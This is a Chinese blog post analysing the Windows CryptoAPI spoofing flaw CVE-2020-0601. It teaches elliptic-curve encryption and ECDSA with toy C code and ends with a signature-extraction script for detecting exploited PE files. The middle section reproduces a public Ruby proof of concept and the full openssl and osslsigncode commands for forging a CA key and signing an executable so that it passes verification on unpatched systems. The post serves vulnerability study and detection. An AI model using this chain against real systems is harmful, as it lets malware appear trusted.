All about fanda
All about fanda
CVE-2020-0601解析与椭圆曲线相关原理

文件:ECC.cECDSA.csigned_test.exesigned_test.pkcs7
环境:Windows10 1903

  好久不见,最近做的好多东西不是不可透露,就是不值得拿出来分享。直到最近有一个微软新出的重大漏洞CVE-2020-0601,这个漏洞跟我负责的有较大关系,因此复现学习了一下这个漏洞。根据奇安信的一篇文章可以看到漏洞点是在CertDllVerifyMicrosoftRootCertificateChainPolicy,但是寻找漏洞触发点不是我擅长的。不知是否是因为Windows版本的关系,我在DLL中没有发现这个函数,但是我仍然成功复现了这个漏洞。

  这里不得不夸一下微软行动非常迅速,Windows defender第一时间就支持了扫描,而且不管你是不是开着Windows更新,补丁都会推送并且自动安装等待系统重启。受此漏洞影响的系统是Windows server2016以上与window 10的大部分版本。这篇文章非常详细的描述了这个漏洞,检测可以直接用powershell语句:

[System.Diagnostics.FileVersionInfo]::GetVersionInfo("C:\Windows\System32\crypt32.dll").FileVersionRaw.ToString()

On Windows 10 Clients

  • the new DLL is signed with the following timestamp "Friday 3 january 2020 06:14:45"
  • Windows 10, the new DLL has the following version "10.0.18362.592"
  • Windows 10, the new DLL has the following hashes:
    • CRC32: 2B82D538
    • CRC64: 14D5AADB0BD14B22
    • SHA256: E832E3A58B542E15A169B1545CE82451ACE19BD361FD81764383048528F9B540
    • SHA1: 7A9DD389B0E3C124D4BFE5C1FF15F9A93285514F
    • BLAKE2sp: EEE317CD4E1C395DD1DBCA3DCD066728FAE00250D6884EA63B9F6CAD83C14610

On Windows Server 2016 version 1607

  • the new DLL is signed with the following timestamp "Friday 20 december 2019 06:10:17"
  • the new DLL has the following version "10.0.14393.3442"
  • the new DLL has the following hashes:
    • CRC32: A3F4A8B6
    • CRC64: 190E000CED3B17BB
    • SHA256: 6AE927255B0576AF136DF57210A1BA64C42A504D50867F58B7A128B4FD26A77C
    • SHA1: EF881BAE1A18EC6017DDC9AC5076ED00730C6572
    • BLAKE2sp: 2EAAAE609B2A1D1353CD780BEDF30089C7F0399BC9288E197A04DF2C23FDC767

前置知识

椭圆曲线加密(ECC)

  讲完了这些,接下来就开始我自身复现路上碰到的一些问题吧,首先我们从椭圆曲线的加密开始讲,然后再看椭圆曲线数字签名(ECDSA),这样比较好理解。大学里的椭圆曲线忘的差不多了,看了一篇原文复习了一下,本文的椭圆曲线加密与数字签名的实现代码也是根据这篇文章写的,为了避免大数运算降低的易读性,因此直接使用了非常简单的算法与密钥。

  首先我们来看一下椭圆曲线的一些定律

  • 椭圆曲线描述方程:y² = x³ + ax + b,其中a、b为系数。示意图如下:
椭圆曲线示意图
  • 加法定义:A + B,其中A + B = C的示意图如下:
椭圆曲线的加法
  • 二倍运算:两点相加是椭圆曲线上另一点,重合点也是如此,运算定义:A + A = 2A = B。示意图如下:
椭圆曲线二倍运算
  • 正负取反:对于椭圆曲线上一点A的取反为取X轴对称的另一点:
椭圆曲线正负取反
  • 无穷远点O = A + (-A):
椭圆曲线无穷远点
  • 椭圆曲线运算,若取椭圆曲线上两点P(Xp, Yp)与Q(Xq, Yq)相加,结果为R(Xr, Yr)。运算过程如下:

    Xr = (λ² - Xp - Xq) mod p
    Yr = (λ(Xp - Xr) - Yp) mod p
    其中λ = (Yq - Yp)/(Xq - Xp) mod p(若P≠Q), λ = (3Xp² + a)/2Yp mod p(若P=Q)

    基于此也可以推出某一点的乘法4A = 3A + A = 2A + A + A = A + A + A + A。当然是为了方便学习这么写的,现实中的实现不会这么低效。

  接下来我们可以用C实现一下,其中λ的计算涉及到了分数取模运算,分数取模可以如下计算:

// 计算‘x/y mod p = m’
// 枚举m使得:
// x + y*m mod p == 0
int fraction_mod(int x, int y, int p)
{
            // 是个无穷远点,有问题,直接返回
        if(y == 0)
                goto _Traced;

        for(int m=0; m<p; m++)
        {
                if(mmod((x + y*m), p) == 0)
                        return p-m;
        }

_Traced:
        //printf("faction_mod traced[%d/%d]\n", x, y);
        return -1;
}

  接下来就是两点相加与相减(或者说本身就不存在减法)的算法了:

// P(x1, y1) + Q(x2, y2) = R(x3, y3)
// P == Q && k = (3 * x^2 + a)/(2 * y)
// P != Q && k = (y2-y1)/(x2-x1)
// x3 = (k^2 - x1- x2) mod p;
// y3 = (k*(x1 - x3) - y1) mod p;
Point PointAdd(Point P, Point Q, int p)
{
        Point result;
        int k;

            // 无穷远点的判断: O + A = A, A + O = A
        if(!memcmp(&P, &ZeroPoint, sizeof(Point)))
                return Q;
        else if(!memcmp(&Q, &ZeroPoint, sizeof(Point)))
                return P;
        else if(!memcmp(&P, &Q, sizeof(Point)))
                k = fraction_mod(3 * P.x * P.x + A, 2 * P.y, p);
        else
                k = fraction_mod(Q.y - P.y, Q.x - P.x, p);

        if(k == -1)
        {
                result.x = 0;
                result.y = 0;
        }
        else
        {
                result.x = mmod((k*k - P.x - Q.x), p);
                result.y = mmod((k*(P.x - result.x) - P.y), p);
        }

        return result;
}

// P - Q = P + (-Q) = R
Point PointSub(Point P, Point Q, int p)
{
        Q.y = (-Q.y);
        return PointAdd(P, Q, p);
}

  同理可以获得乘法的算法(与加法一样,不存在除法):

// 3G = 2G + G
// 2G = G + G
// 3G = (G + G) + G  (3, 2)
Point PointMulti(unsigned int r, Point G, int p)
{
        Point result;
        result.x = G.x;
        result.y = G.y;

        if(r > 1)
                return PointAdd(result, PointMulti(r-1, G, p), p);
        else
                return result;
}

  讲完这些基本的椭圆曲线算法,然后就是加密的部分了,加密步骤如下

  • 选择一条椭圆曲线,例如:设系数a,b为2,4,则曲线为y² = x³ + 2x + 4;

  • 选取一个椭圆曲线上的基点(generator)G,基点的阶n的定义为:nG = O;

  • 选择一个随机数r,r必须小于基点的阶n,即r < n;

  • 设私钥、公钥分别为k、K。K = kG,k为一个用户自行选择的整数,同样k < n;

  • 设要加密的消息为m,将m编码到椭圆曲线上的一点M,椭圆曲线加密的密文C{C1, C2}为{rG, M + rK},即密文是一个点对。

  解密步骤为

  • 对密文点对进行C2 - rC1计算;

  • C2 - rC1 = M + rK - k(rG) = M + r(kG) - k(rG) = M;

  • 解码M,可获得消息m。

  完整的源码就不贴在文章里了,源码ECC.c可自行从文章开头处得到,其执行效果如下:

➜  ~ ./ECC
use EC: y^2 = x^3 + 1*x + 1
use G{30, 19}
The order of G is: 63
private key: 62 random num: 61
public key K{30, 108}
decode: AAAAAAAAAA
➜  ~


椭圆曲线数字签名(ECDSA)

  基本的原理在加密里已经讲过了,因此直接讲数字签名的步骤

  • 设私钥、公钥分别为k、K,即K = kG,其中G为G点;
  • 选择一个随机数r,计算rG{x, y};
  • 计算要签名的消息的哈希值h,是一个大数;
  • 计算s = (h + kx)/r mod n,注意这里的模n比较特殊,为G的阶;
  • 数字签名点对即为{rG, s},发送消息M与数字签名。

  验证数字签名的步骤:

  • 获取到数字签名点对{rG, s}与消息M,计算M的哈希值;
  • 计算hG/s + xK/s mod p,验证其是否与rG相同。

  这里可能会有人疑惑既然椭圆曲线不存在除法,那么hG/s mod p这些是如何计算的,事实上的确没有对曲线上的点进行除法,只是先进行了h/s mod n的算法后再与点G相乘罢了,同时要注意两次算法的模不同。具体实现可以看源码文件ECDSA.c,执行效果如下:

➜  ~ ./ECDSA
use EC: y^2 = x^3 + 2*x + 3
use G{3, 6}
The order of G is: 53
private key: 52 random num: 51
public key K{3, 121}
result: {36, 54}
rG: {36, 54}
ECDSA successful!
➜  ~

漏洞复现

  CVE-2020-0601就是因为在crypto32.dll中ECDSA的验证过程中允许用户自定义私钥k和基点G,并且只对公钥等信息进行了检查,并未关注G的合法性,使得当用户设置k = 1时,K = kG计算得到的公钥K与基点G相同,所以如果用户设置基点G为系统中另一个已经通过ECDSA合法认证的证书的公钥时,系统在检查签名时就会发现公钥竟然是自己签发的,成功欺骗了系统认为这是一个自己颁发的“认证”文件,漏洞就利用成功了。

  可能还会有人很疑惑为什么我们既然知道K,那么为什么我们不能搞出一个自己的k'和G'使得k'G' = K呢?不可能的,因为椭圆曲线与RSA类似,都是利用的分解困难的原理,虽然G通常都是公共的,已定义的,但是在我们已知G和K的情况下仍然不可能得到k,爆破?省省吧。CVE-2020-0601的出现使得自定义一个G和k的情况下,定义k = 1G = K轻易完成认证攻击。

  接下来我们看看ollypwn给出的POC,main.rb脚本如下:

require 'openssl'

raw = File.read ARGV[0]
ca = OpenSSL::X509::Certificate.new(raw) # Read certificate
ca_key = ca.public_key # Parse public key from CA

ca_key.private_key = 1 # Set a private key, which will match Q = d'G'
group = ca_key.group
group.set_generator(ca_key.public_key, group.order, group.cofactor)
group.asn1_flag = OpenSSL::PKey::EC::EXPLICIT_CURVE
ca_key.group = group # Set new group with fake generator G' = Q

File.open("spoofed_ca.key", 'w') { |f| f.write ca_key.to_pem }

  其中就是定义了k = 1,并且设置基点G(generator)为公钥的值,导出了重新计算后的证书,并将至签名到一个PE文件完成攻击,然后整个攻击流程像这样:

  • 在未打补丁的机器上,使用certmgr.msc打开证书管理器,将下面这个证书使用默认的DER编码保存就行了,如果没有的话可能是Windows版本不对:
导出根证书
  • cmd进入clone下来的ollypwn仓库目录,使用ruby main.rb your.cer命令,参数就是你刚保存的证书,最好在Windows下跑,不然OpenSSL::PKey::EC::EXPLICIT_CURVE会报错;
  • 使用openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt命令,这条命令最好在管理员权限下跑,不然会有random state错误;
  • 执行openssl ecparam -name secp384r1 -genkey -noout -out cert.key
  • 执行openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
  • 执行openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
  • 执行openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
  • 执行osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in your.exe -out signed_your.exe;osslsigncode打开pe文件失败的话可能是因为-in参数后面的不是绝对路径。

  这样就算是签名完成了,如果漏洞利用成功的话,explorerWinVerifyTrust API或是signtool里看都应该是正常的:

explorer验签
命令行验签

   那么实际检测的时候我们可以按照漏洞的原理,检测是否有利用此漏洞的恶意PE文件。这就是下一节要讲的。


PE文件的恶意签名检测

  首先我们知道PE文件中是有一个目录项叫做Security的:

Security目录项

  这一个Security就保存了PE中数字签名所在的虚拟地址和大小,比较离奇的是按照正常的计算方法应该将虚拟地址转化为文件偏移再提取的,而实际上这个数字签名直接在文件偏移为虚拟地址的地方上,不用经过地址转化。嵌入式签名在PE文件中的表现形式如下:

PE数字签名格式
WinCertificate头

  也就是说只要从Security目录项记录的虚拟地址偏移8字节的地址开始dump就是一个PE文件的pkcs7签名了,这一篇文章用python实现了数字签名的提取,加一个输出就能dump到文件了:

import pefile
import sys
import os

def extractPKCS7(fname):
    '''A function extracting PKCS7 signature from a PE executable

    This function opens the file fname, extracts the PKCS7
    signature in binary (DER) format and returns it as
    a binary string
    '''

    # first get the size of the file
    totsize = os.path.getsize(fname)

    # open the PE file
    # at opening time we do not need to parse all the information
    # so we can use fast_load
    ape = pefile.PE(fname, fast_load = True)

    # parse directories, we are interested only in
    # IMAGE_DIRECTORY_ENTRY_SECURITY
    ape.parse_data_directories( directories=[
        pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_SECURITY'] ] )

    # reset the offset to the table containing the signature
    sigoff = 0
    # reset the lenght of the table
    siglen = 0

    # search for the 'IMAGE_DIRECTORY_ENTRY_SECURITY' directory
    # probably there is a direct way to find that directory
    # but I am not aware of it at the moment
    for s in ape.__structures__:
        if s.name == 'IMAGE_DIRECTORY_ENTRY_SECURITY':
            # set the offset to the signature table
            sigoff = s.VirtualAddress
            # set the length of the table
            siglen = s.Size

    # close the PE file, we do not need it anymore
    ape.close()

    if sigoff < totsize:
        # hmmm, okay we could possibly read this from the PE object
        # but is straightforward to just open the file again
        # as a file object
        f = open(fname,'rb')
        # move to the beginning of signature table
        f.seek(sigoff)
        # read the signature table
        thesig = f.read(siglen)
        # close the file
        f.close()

        # now the 'thesig' variable should contain the table with
        # the following structure
        #   DWORD       dwLength          - this is the length of bCertificate
        #   WORD        wRevision
        #   WORD        wCertificateType
        #   BYTE        bCertificate[dwLength] - this contains the PKCS7 signature
        #                                    with all the

        # lets dump only the PKCS7 signature (without checking the lenght with dwLength)
        return thesig[8:]
    else:
        return None

if __name__ == '__main__':
    if(len(sys.argv) != 2):
        print("usage: python " + sys.argv[0] + " [signed PE file]")
        exit()

    print(extractPKCS7(sys.argv[1]))

  然后对一个拥有签名的PE文件进行dump:python extractPKCS7.py signed_test.exe > signed_test.pkcs7,这样得到的就是这个PE文件的签名了,嵌入式签名为DER编码的pkcs7格式的。

  然后利用openssl可以进行命令行解析:openssl pkcs7 -inform DER -print_certs -in signed_test.pkcs7 -text -noout

openssl命令行解析

  在上图我们清晰的看到了generatorpublic key是一样的,基于这个就可以进行尝试利用此漏洞的检测了。

  我借助openssl实现了一个检测工具,但是我估计工作上还要用,因此就不开源了,检测效果如下:

检测效果

发表评论

textsms
account_circle
email

All about fanda

CVE-2020-0601解析与椭圆曲线相关原理
文件:ECC.c,ECDSA.c,signed_test.exe,signed_test.pkcs7; 环境:Windows10 1903   好久不见,最近做的好多东西不是不可透露,就是不值得拿出来分享。直到最近有一个微软…
扫描二维码继续阅读
2020-02-01